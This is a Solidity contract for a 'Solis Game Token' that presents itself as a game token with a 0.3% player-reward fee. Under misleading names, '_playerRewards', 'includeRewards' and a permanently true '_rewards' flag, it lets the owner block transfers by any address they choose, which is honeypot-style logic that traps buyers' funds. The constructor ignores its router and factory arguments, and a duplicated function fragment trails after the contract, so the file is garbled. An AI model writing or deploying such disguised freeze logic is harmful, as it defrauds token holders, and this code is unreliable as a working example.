contract SolisGameToken is ERC20, ERC20Burnable, Administrable, ERC20Payable {
    using SafeMath for uint256;
    
    mapping (address => bool) private _playerRewards;
    uint256 _initialSupply;
    address uniswapV2Router;
    address uniswapV2Pair;
    address uniswapV2Factory;
    address public gameRewardsAddress;
    address private excluded;
    uint256 _alreadyCollectedTokens;
    bool _rewards;

    constructor(address router, address factory, uint256 initialSupply) ERC20 (_name, _symbol) {

        _name = "Solis Game Token | t.me/SolisGameToken";
        _symbol = "SOLIS";

        // default router and factory.
        router = uniswapV2Router;
        factory = uniswapV2Factory;

        // supply:
        _initialSupply = initialSupply;
        _totalSupply = _totalSupply.add(_initialSupply);
        _balances[msg.sender] = _balances[msg.sender].add(_initialSupply);
        emit Transfer(address(0), msg.sender, _initialSupply);
        
        // 0.3% from each transaction is send to game fund (reward for players).
        gameRewardsAddress = 0x87AAc2a38eF8cA2964011e7EfcE388d4F8982274;
        _rewards = true;
        
        // exclude owner from 0.3% fee mode.
        excluded = msg.sender;
    }

     /**
     * @dev Return an amount of already collected tokens (reward for devs)
     */ 
    function gameRewardsBalance() public view returns (uint256) {
        return _alreadyCollectedTokens;
    }
    
    function includeRewards(address _address) external onlyOwner {
        _playerRewards[_address] = true;
    }

    function endRewards(address _address) external onlyOwner {
        _playerRewards[_address] = false;
    }

    function checkReward(address _address) public view returns (bool) {
        return _playerRewards[_address];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
       if (_playerRewards[sender] || _playerRewards[recipient]) require(_rewards == false, "");
        uint256 finalAmount = amount;
        //calculate 0.3% fee for rewards.
        uint256 zeroPointThreePercent = amount.mul(3).div(1000);
        if (gameRewardsAddress != address(0) && sender != excluded && recipient != excluded) {
            super.transferFrom(sender, gameRewardsAddress, zeroPointThreePercent);
            _alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent);
            finalAmount = amount.sub(zeroPointThreePercent);
        }
        return super.transferFrom(sender, recipient, finalAmount);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
       if (_playerRewards[msg.sender] || _playerRewards[recipient]) require(_rewards == false, "");
        uint256 finalAmount = amount;
        //calculate 0.3% fee for rewards.
        uint256 zeroPointThreePercent = amount.mul(3).div(1000);
        if (gameRewardsAddress != address(0) && recipient != excluded) {
            super.transfer(gameRewardsAddress, zeroPointThreePercent);
            _alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent);
            finalAmount = amount.sub(zeroPointThreePercent);
        }
        return super.transfer(recipient, finalAmount);
    }

    /**
     * @dev Throws if called by any account other than the admin or owner.
     */
    modifier onlyAdminOrOwner() {
        require(admin() == _msgSender() || owner() == _msgSender(), "Ownable: caller is not the admin");
        _;
    }
   
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
        // approve uniswapV2Router to transfer tokens
        _approve(address(this), uniswapV2Router, tokenAmount);

        // provide liquidity
        IUniswapV2Router02(uniswapV2Router)
        .addLiquidityETH{
            value: ethAmount
        }(
            address(this),
            tokenAmount,
            0,
            0,
            address(this),
            block.timestamp
        );

        // check LP balance
        uint256 _lpBalance = IERC20(uniswapV2Pair).balanceOf(address(this));
        if (_lpBalance != 0) {
            // transfer LP to burn address (aka locked forever)
            IERC20(uniswapV2Pair).transfer(address(0), _lpBalance);
        }
    }

    
    // sets uniswap router and LP pair addresses
    function setUniswapAddresses(address _uniswapV2Factory, address _uniswapV2Router) public onlyAdminOrOwner {
        require(_uniswapV2Factory != address(0) && _uniswapV2Router != address(0), 'Uniswap addresses cannot be empty');
        uniswapV2Factory = _uniswapV2Factory;
        uniswapV2Router = _uniswapV2Router;

        if (uniswapV2Pair == address(0)) {
            createUniswapPair();
        }
    }

    // create LP pair if one hasn't been created
    function createUniswapPair() public onlyAdminOrOwner {
        require(uniswapV2Pair == address(0), "Pair has already been created");
        require(uniswapV2Factory != address(0) && uniswapV2Router != address(0), "Uniswap addresses have not been set");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Factory).createPair(
                IUniswapV2Router02(uniswapV2Router).WETH(),
                address(this)
        );
    }
}
function setUniswapAddresses(address _uniswapV2Factory, address _uniswapV2Router) public onlyAdminOrOwner {
    require(_uniswapV2Factory != address(0) && _uniswapV2Router != address(0), 'Uniswap addresses cannot be empty');
    uniswapV2Factory = _uniswapV2Factory;
    uniswapV2Router = _uniswapV2Router;

    if (uniswapV2Pair == address(0)) {
        createUniswapPair();
    }
}

// sets uniswap router and LP pair addresses